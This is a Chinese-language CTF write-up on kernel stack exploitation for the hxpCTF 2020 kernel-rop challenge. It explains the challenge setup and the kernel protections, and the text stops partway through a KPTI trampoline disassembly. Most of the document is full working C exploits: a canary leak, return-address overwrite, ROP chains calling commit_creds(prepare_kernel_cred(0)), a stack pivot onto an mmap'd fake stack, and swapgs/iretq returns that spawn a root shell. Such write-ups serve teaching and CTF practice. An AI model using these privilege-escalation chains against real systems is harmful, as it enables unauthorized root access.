内核pwn初探之栈

例题是 hxpCTF 2020 里的 kernel-rop,题目链接:https://ctftime.org/task/14383

会给出的文件

一般来说,题目会给出几个文件,以该题为例:

  • vmlinuz:压缩的内核,有时是 bzImage ,因为是压缩文件,所以要提取出内核 ELF 文件,一般会用一段脚本extract-vmlinux.sh 来提取。

  • initramfs.cpio.gz:压缩的 Linux 文件系统,有漏洞的文件也存在其中,所以一开始要解压缩。

  • run.sh:包含 qemu 运行命令的 shell 脚本,我们可以在这里更改 qemu 和 Linux 启动配置。

初始工作

Linux 内核,通常以 vmlinuz 或 bzImage 的名称给出,是称为 vmlinux 的内核映像的压缩版本。一般用脚本 extract-vmlinux.sh 提取出内核 ELF 文件 vmlinux

1
./extract-vmlinux.sh ./vmlinuz > vmlinux

extract-vmlinux.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------

check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1

cat $1
exit 0
}

try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.

# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}

# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

可以使用 Ropper 工具来找到一些 gadget,存放在 rop 文件中

1
ropper --file ./vmlinux --nocolor > rop

文件系统分析

因为漏洞文件和一些重要信息存在于 initramfs.cpio.gz 中,所以我们先要解压它,这边使用一个脚本 decompress.sh 解压会更方便

1
2
3
4
5
6
mkdir initramfs
cd initramfs
cp ../initramfs.cpio.gz .
gunzip ./initramfs.cpio.gz
cpio -idm < ./initramfs.cpio
rm initramfs.cpio

执行完的效果就是,在当前目录下创建了一个 initramfs 文件夹用于存放 initramfs.cpio.gz 解压后的东西,可以将它看成是 Linux 机器上文件系统的根目录。漏洞文件 hackme.ko 也在其中,先将它复制到 initramfs 路径稍后进行分析。

压缩完的文件夹的中,/etc 文件夹中一般会存放启动后运行的初始化脚本,例如这个题中的 inittab (有的时候会以 init 的名称存放在根目录下)

1
2
::sysinit:/etc/init.d/rcS
::once:-sh -c 'cat /etc/motd; setuidgid 1000 sh; poweroff'

第一行表示执行的文件,我们跟进/etc/init.d 打开 rcS 文件可以发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh

/bin/busybox --install -s

stty raw -echo

chown -R 0:0 /

mkdir -p /proc && mount -t proc none /proc
mkdir -p /dev && mount -t devtmpfs devtmpfs /dev
mkdir -p /tmp && mount -t tmpfs tmpfs /tmp

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms

insmod /hackme.ko
chmod 666 /dev/hackme

内核在启动后是加载了hackme.ko模块,同时赋予其666的权限。

第二行有一个很重要的东西就是权限修改的指令

1
2
setuidgid 1000 sh #unroot
setuidgid 0 sh #root

将其改为 0 (即 root 权限),可以方便我们获取有用的信息,例如:

  • /proc/kallsyms:列出加载到内核中的所有符号的所有地址。
  • /sys/module/core/sections/.text:显示内核 .text 部分的基地址。(有时也可以在运行的内核中直接用lsmod查看)

当我们对 initramfs 文件夹中内容修改后要进行压缩,这里给出一个一键压缩的脚本 compress.sh

1
2
3
4
5
6
7
gcc -o exp -static ./exp
mv ./exp ./initramfs
cd initramfs
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > initramfs.cpio.gz
mv ./initramfs.cpio.gz ../

前两行是编译利用代码并将其放入文件系统。

qemu 运行脚本

给出的 run.sh 脚本内容如下:

1
2
3
4
5
6
7
8
9
10
11
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep,+smap \
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 kaslr kpti=1 quiet panic=1"

先来看看这些都是啥意思:

  • -m 指定内存大小,如果无法运行模拟器,就把它改大一点

  • -CPU 指定 CPU 型号,可以在后面加 SMEP 和 SMAP 保护

  • -kernel 指定压缩的内核映像

  • -initrd 指定压缩文件系统

  • -append 指定额外的引导选项

因为我们要使用 gdb 远程调试,所以要在最后加上参数 -s

最终结果就是:

1
2
3
4
5
6
7
8
9
10
11
12
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep,+smap \
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 kaslr kpti=1 quiet panic=1" \
-s

之后就可以调试了,现在一个终端中启动程序,再在另一个终端中启动 gdb

调试需要加载 .ko 文件的符号表,可以通过 add-symbol-file hackme.ko textaddr 来加载,textaddr 就是 .text 的基地址

1
2
3
$ gdb vmlinux
(gdb) add-symbol-file hackme.ko textaddr
(gdb) target remote localhost:1234

ropper 得到 gadget

有时候虚拟机内存设置太小会导致中断

1
ropper --file ./vmlinux --nocolor > rop

内核的保护

介绍一下内核都有哪些保护:

Stack Canary:顾名思义,和用户态完全相同,无法禁用。

KASLR:内核地址空间布局随机化,类似于用户态的 ASLR,启动时,通过 kaslrnokaslr-append 选项下启用/禁用。

SMEP:处于内核态时无法执行用户态代码,通过设置 CR4 寄存器的第 20 位来启用,启动时,通过 +smep-cpu 选项下启用,nosmep-append 选项下禁用。

SMAP:处于内核态时无法执行用户态数据,通过设置 CR4 寄存器的第 21 位来启用,同 smep

KPTI:内核页表隔离,通过把进程页表按照用户空间和内核空间隔离成两块来防止内核页表泄露。可以在-append选项下添加 kpti=1nopti 来启用或禁用它。

分析内核模块

直接看题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off)
{
//...
int tmp[32];
//...
if ( _size > 0x1000 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, _size);
BUG();
}
_check_object_size(hackme_buf, _size, 0LL);
if ( copy_from_user(hackme_buf, data, v5) )
return -14LL;
_memcpy(tmp, hackme_buf);
//...
}

ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off)
{
//...
int tmp[32];
//...
_memcpy(hackme_buf, tmp);
if ( _size > 0x1000 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, _size);
BUG();
}
_check_object_size(hackme_buf, _size, 1LL);
v6 = copy_to_user(data, hackme_buf, _size) == 0;
//...
}

漏洞很明显,读取/写入了长度为 0x80 字节(32*4)的缓冲区,但在 0x1000 时才警告缓冲区溢出。

漏洞利用

接下来会讲不同的保护开启时,该如何应对。

仅 Stack Canary

用户态时,做法是泄露 canary 然后栈溢出劫持返回地址;内核态也是一样的。

先把其他保护都关闭,把 run.sh 改成如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64 \
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nopti nosmep nosmap nokaslr quiet panic=1" \
-s

打开设备

首先要打开设备,在哪看打开的设备呢?

就是在之前说到的/etc/init.d/rcS,当然不同的题目有不同的路径。

1
2
3
4
5
6
7
8
9
10
11
12

int global_fd;

void open_dev(){
global_fd = open("/dev/hackme", O_RDWR);
if (global_fd < 0){
puts("[!] Failed to open device");
exit(-1);
} else {
puts("[*] Opened device");
}
}

泄露 canary

因为 leak 数组定义的是 unsigned long,每个元素是 8 个字节,所以 canary 会在偏移量为 16 的地方。

1
2
3
4
5
6
7
8
9
10
11
unsigned long cookie;

void leak(void){
unsigned n = 20;
unsigned long leak[n];
ssize_t r = read(global_fd, leak, sizeof(leak));
cookie = leak[16];//0x80/8=16

printf("[*] Leaked %zd bytes\n", r);
printf("[*] Cookie: %lx\n", cookie);
}

覆盖返回地址

值得注意的是,在调用 hackme_read 时,多压入了 r12 和 rbx,所以要用 0 进行填充

image-20220413203356231

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void overflow(){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = (unsigned long)get_root; // ret

puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");
}

获取 root 权限

调用内核态的函数 commit_creds(prepare_kernel_cred(0)),因为 KASLR 被禁用,所以地址可以直接搜

1
2
3
4
cat /proc/kallsyms | grep commit_creds
-> ffffffff814c6410 T commit_creds
cat /proc/kallsyms | grep prepare_kernel_cred
-> ffffffff814c67f0 T prepare_kernel_cred
1
2
3
4
5
6
7
8
9
10
void get_root(){
__asm__(
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax; mov rdi, rax;"
"movabs rax, 0xffffffff814c6410;" //commit_creds
"call rax;"
);
}

也可以用另一种方式

1
2
3
4
5
6
7
8
size_t commit_creds = 0xffffffff814c6410, prepare_kernel_cred = 0xffffffff814c67f0;
void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
/* puts("[*] root now."); */
}

跳回用户态

拿到权限后,就需要跳回用户态执行 shell 了,一般会通过 iretq 来返回用户态,iretq 指令会按顺序弹出五个寄存器,所以在栈中按相反的顺序设置相应寄存器就行。

当然在这之前得先执行一条叫 swapgs 的指令,用于交换内核态和用户态之间的 GS 寄存器。

利用内联汇编就能省去找地址的过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned long user_rip = (unsigned long)get_shell;

void escalate_privs(void){
__asm__(
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax; mov rdi, rax;"
"movabs rax, 0xffffffff814c6410;" //commit_creds
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
);
}

当然也可以直接在 overflow 的 payload 中呈现,当然这样就要找到 swapgs 和 iretq 的 gadget:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void overflow(){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = (unsigned long)get_root; // ret
payload[off++] = //swapgs;ret
payload[off++] = //iretq;ret
payload[off++] = (unsigned long)get_shell;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;


puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");
}

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
//gcc 1.c -static -masm=intel -g -o 1
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <sys/wait.h>
#include <poll.h>
#include <unistd.h>
#include <stdlib.h>


int global_fd;

void open_dev(){
global_fd = open("/dev/hackme", O_RDWR);
if (global_fd < 0){
puts("[!] Failed to open device");
exit(-1);
} else {
puts("[*] Opened device");
}
}

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*] Saved state");
}

void print_leak(unsigned long *leak, unsigned n) {
for (unsigned i = 0; i < n; ++i) {
printf("%u: %lx\n", i, leak[i]);
}
}

unsigned long cookie;

void leak(void){
unsigned n = 20;
unsigned long leak[n];
ssize_t r = read(global_fd, leak, sizeof(leak));
cookie = leak[16];

printf("[*] Leaked %zd bytes\n", r);
//print_leak(leak, n);
printf("[*] Cookie: %lx\n", cookie);
}

void get_shell(void){
puts("[*] Returned to userland");
if (getuid() == 0){
printf("[*] UID: %d, got root!\n", getuid());
system("/bin/sh");
} else {
printf("[!] UID: %d, didn't get root\n", getuid());
exit(-1);
}
}


void get_root(void){
__asm__(
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax; mov rdi, rax;"
"movabs rax, 0xffffffff814c6410;" //commit_creds
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
);
}
unsigned long user_rip = (unsigned long)get_shell;
void overflow(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = (unsigned long)get_root; // ret

puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");
}

int main() {

save_state();

open_dev();

leak();

overflow();

puts("[!] Should never be reached");

return 0;
}

添加 SMEP

处于内核态时用户态代码不可执行,当开启了 SMEP 保护后,上述代码就不能执行了,因为代码是保存在用户态的,有点类似于用户态的 NX 保护,堆栈不可执行。

我们将假设两种情况:

  • 可以向内核堆栈写入任意数量的数据。

  • 只能覆盖到内核堆栈的返回地址,利用栈迁移。

情况一

之前有说到,内核会根据 CR4 寄存器的第 20 位判断是否启用了 SMEP 保护。在漏洞利用时可以关掉这个保护,例如可以用带有 mov cr4, rdi 之类的 asm 指令来修改寄存器中的内容,或者找到带有 mov cr4 的 gadget ,或者利用一个叫 native_write_cr4() 的函数,该函数会使用参数覆盖 CR4 的内容,并且它本身也处在内核态中。

native_write_cr4() 查找方式和 commit_creds() 函数一样

1
2
cat /proc/kallsyms | grep native_write_cr4
-> ffffffff814443e0 T native_write_cr4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned long user_rip = (unsigned long)get_shell;
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long native_write_cr4 = 0xffffffff814443e0;

void overflow(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rdi_ret; // return address
payload[off++] = 0x6f0;
payload[off++] = native_write_cr4; // native_write_cr4(0x6f0)
payload[off++] = (unsigned long)get_root; // ret

puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");
}

然而在运行时,程序报错了

其中有一行

1
[    5.568225] unable to execute userspace code (SMEP?) (uid: 1000)

查阅发现这种方法已经不可取了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void native_write_cr4(unsigned long val)
{
unsigned long bits_changed = 0;

set_register:
asm volatile("mov %0,%%cr4": "+r" (val) : : "memory");

if (static_branch_likely(&cr_pinning)) {
if (unlikely((val & cr4_pinned_mask) != cr4_pinned_bits)) {
bits_changed = (val & cr4_pinned_mask) ^ cr4_pinned_bits;
val = (val & ~cr4_pinned_mask) | cr4_pinned_bits;
goto set_register;
}
/* Warn after we've corrected the changed bits. */
WARN_ONCE(bits_changed, "pinned CR4 bits changed: 0x%lx!?\n",
bits_changed);
}
}

新的内核版本对此做了对应的防御措施,即内核启动后不管 CR4 如何赋值,内核会立刻将其改变回原来的值。

所以可以通过 ROP 链来 get shell,这样就是在内核中运行了

完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
//gcc exp.c -static -masm=intel -g -o exp
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <sys/wait.h>
#include <poll.h>
#include <unistd.h>
#include <stdlib.h>


int global_fd;

void open_dev(){
global_fd = open("/dev/hackme", O_RDWR);
if (global_fd < 0){
puts("[!] Failed to open device");
exit(-1);
} else {
puts("[*] Opened device");
}
}

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*] Saved state");
}

void print_leak(unsigned long *leak, unsigned n) {
for (unsigned i = 0; i < n; ++i) {
printf("%u: %lx\n", i, leak[i]);
}
}

unsigned long cookie;

void leak(void){
unsigned n = 20;
unsigned long leak[n];
ssize_t r = read(global_fd, leak, sizeof(leak));
cookie = leak[16];

printf("[*] Leaked %zd bytes\n", r);
//print_leak(leak, n);
printf("[*] Cookie: %lx\n", cookie);
}

void get_shell(void){
puts("[*] Returned to userland");
if (getuid() == 0){
printf("[*] UID: %d, got root!\n", getuid());
system("/bin/sh");
} else {
printf("[!] UID: %d, didn't get root\n", getuid());
exit(-1);
}
}

unsigned long user_rip = (unsigned long)get_shell;

unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
unsigned long mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; pop rbp ; ret
unsigned long commit_creds = 0xffffffff814c6410;
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long swapgs_pop1_ret = 0xffffffff8100a55f; // swapgs ; pop rbp ; ret
unsigned long iretq = 0xffffffff8100c0d9;

void overflow(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rdi_ret; // return address
payload[off++] = 0x0; // rdi <- 0
payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
payload[off++] = pop_rdx_ret;
payload[off++] = 0x8; // rdx <- 8
payload[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
payload[off++] = swapgs_pop1_ret; // swapgs
payload[off++] = 0x0; // dummy rbp
payload[off++] = iretq; // iretq frame
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;

puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");
}

int main() {

save_state();

open_dev();

leak();

overflow();

puts("[!] Should never be reached");

return 0;
}

这里补充一下第二种方法,构造 fake_tty_struct :https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/bypass-smep/


情况二

溢出的字节只够覆盖到返回地址,和用户态 pwn 一样,需要用到栈迁移。

内核态栈迁移相比用户态要容易得多,因为可以直接通过 asm 指令来给 esp 赋值。

我们用工具找到了一个 gadget ,是将 esp 赋值为 0x5b000000

1
unsigned long mov_esp_pop2_ret = 0xffffffff8196f56a; // mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret

再通过 mmap 函数创建一个假堆栈

1
2
3
4
5
6
7
8
9
void build_fake_stack(void){
fake_stack = mmap((void *)0x5b000000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
unsigned off = 0x1000 / 8;
fake_stack[0] = 0xdead; // put something in the first page to prevent fault
fake_stack[off++] = 0x0; // dummy r12
fake_stack[off++] = 0x0; // dummy rbp
fake_stack[off++] = pop_rdi_ret;
... // the rest of the chain is the same as the last payload
}

这里将页面映射到 0x5b000000 - 0x1000 而不是 0x5b000000,是因为 prepare_kernel_cred() 和 commit_creds() 之类的函数会调用其中的其他函数,从而导致堆栈增长。 如果我们将我们的 esp 指向页面的确切开头,那么堆栈将没有足够的空间增长并且它会崩溃。

而且我们必须在第一页(0x1000/页)中写入一个虚拟值,不然会遇到 Double Fault,之后就是和之前一样了

完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
//gcc 1.c -static -masm=intel -g -o 1
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <sys/wait.h>
#include <poll.h>
#include <unistd.h>
#include <stdlib.h>


int global_fd;

void open_dev(){
global_fd = open("/dev/hackme", O_RDWR);
if (global_fd < 0){
puts("[!] Failed to open device");
exit(-1);
} else {
puts("[*] Opened device");
}
}

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*] Saved state");
}

void print_leak(unsigned long *leak, unsigned n) {
for (unsigned i = 0; i < n; ++i) {
printf("%u: %lx\n", i, leak[i]);
}
}

unsigned long cookie;

void leak(void){
unsigned n = 20;
unsigned long leak[n];
ssize_t r = read(global_fd, leak, sizeof(leak));
cookie = leak[16];

printf("[*] Leaked %zd bytes\n", r);
//print_leak(leak, n);
printf("[*] Cookie: %lx\n", cookie);
}

void get_shell(void){
puts("[*] Returned to userland");
if (getuid() == 0){
printf("[*] UID: %d, got root!\n", getuid());
system("/bin/sh");
} else {
printf("[!] UID: %d, didn't get root\n", getuid());
exit(-1);
}
}

unsigned long user_rip = (unsigned long)get_shell;

unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long pop_rdx_ret = 0xffffffff81007616;
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
unsigned long mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; pop rbp ; ret
unsigned long commit_creds = 0xffffffff814c6410;
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long swapgs_pop1_ret = 0xffffffff8100a55f; // swapgs ; pop rbp ; ret
unsigned long iretq = 0xffffffff8100c0d9;

unsigned long mov_esp_pop2_ret = 0xffffffff8196f56a; // mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret
unsigned long *fake_stack;

void build_fake_stack(void){
fake_stack = mmap((void *)0x5b000000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
unsigned off = 0x1000 / 8;
fake_stack[0] = 0xdead; // put something in the first page to prevent fault
fake_stack[off++] = 0x0; // dummy r12
fake_stack[off++] = 0x0; // dummy rbp
fake_stack[off++] = pop_rdi_ret;
fake_stack[off++] = 0x0; // rdi <- 0
fake_stack[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
fake_stack[off++] = pop_rdx_ret;
fake_stack[off++] = 0x8; // rdx <- 8
fake_stack[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch
fake_stack[off++] = 0x0; // dummy rbx
fake_stack[off++] = 0x0; // dummy rbp
fake_stack[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax
fake_stack[off++] = 0x0; // dummy rbx
fake_stack[off++] = 0x0; // dummy rbp
fake_stack[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
fake_stack[off++] = swapgs_pop1_ret; // swapgs
fake_stack[off++] = 0x0; // dummy rbp
fake_stack[off++] = iretq; // iretq frame
fake_stack[off++] = user_rip;
fake_stack[off++] = user_cs;
fake_stack[off++] = user_rflags;
fake_stack[off++] = user_sp;
fake_stack[off++] = user_ss;
}

void overflow(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = mov_esp_pop2_ret; // return address

puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");
}

int main() {

save_state();

open_dev();

leak();

build_fake_stack();

overflow();

puts("[!] Should never be reached");

return 0;
}

添加 KPTI

内核页表隔离,完全分离用户态和内核态。系统存有两种页表,一种页表包含所有的用户空间地址与内核空间地址,仅能在内核态使用;一种页表包含用户空间地址和小部分内核地址,只在用户态使用。

开启了 KPTI 保护后,之前的方法都会失效,报错类型均为 segment fault

image-20220414212935777

这说明我们已经返回了用户态,但是由于我们使用的 gadget 所属的页表仍处于内核态,所以无法执行。

有两种方法来绕过 KPTI 保护:

  • 利用 segment fault,段异常错误,系统发生异常时会去寻找异常处理函数,可以使用 signal handler 复写 segment fault 对应的异常处理函数,通过 signal(SIGSEGV, get_shell) ;将其改为我们所对应的获取 shell 的函数地址,则程序发生 segment fault 时将自动执行我们指定的函数
  • 借助 KPTI trampoline 技术,该技术基于思想:如果系统调用正常返回,那么内核中必须有一段代码将页表交换回用户态表,因此我们将尝试重用这些代码。这段代码称为KPTI trampoline,它所做的是交换页表、swapgs 和 iretq。

现在主要来说说第二种,说白了就是利用一段代码构造 payload 跳到用户态:

这段代码位于一个叫 swapgs_restore_regs_and_return_to_usermode() 的函数中,同样可以用指令找到它的地址

1
2
cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
-> ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode

反汇编结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.text:FFFFFFFF81200F10                 pop     r15
.text:FFFFFFFF81200F12 pop r14
.text:FFFFFFFF81200F14 pop r13
.text:FFFFFFFF81200F16 pop r12
.text:FFFFFFFF81200F18 pop rbp
.text:FFFFFFFF81200F19 pop rbx
.text:FFFFFFFF81200F1A pop r11
.text:FFFFFFFF81200F1C pop r10
.text:FFFFFFFF81200F1E pop r9
.text:FFFFFFFF81200F20 pop r8
.text:FFFFFFFF81200F22 pop rax
.text:FFFFFFFF81200F23 pop rcx
.text:FFFFFFFF81200F24 pop rdx
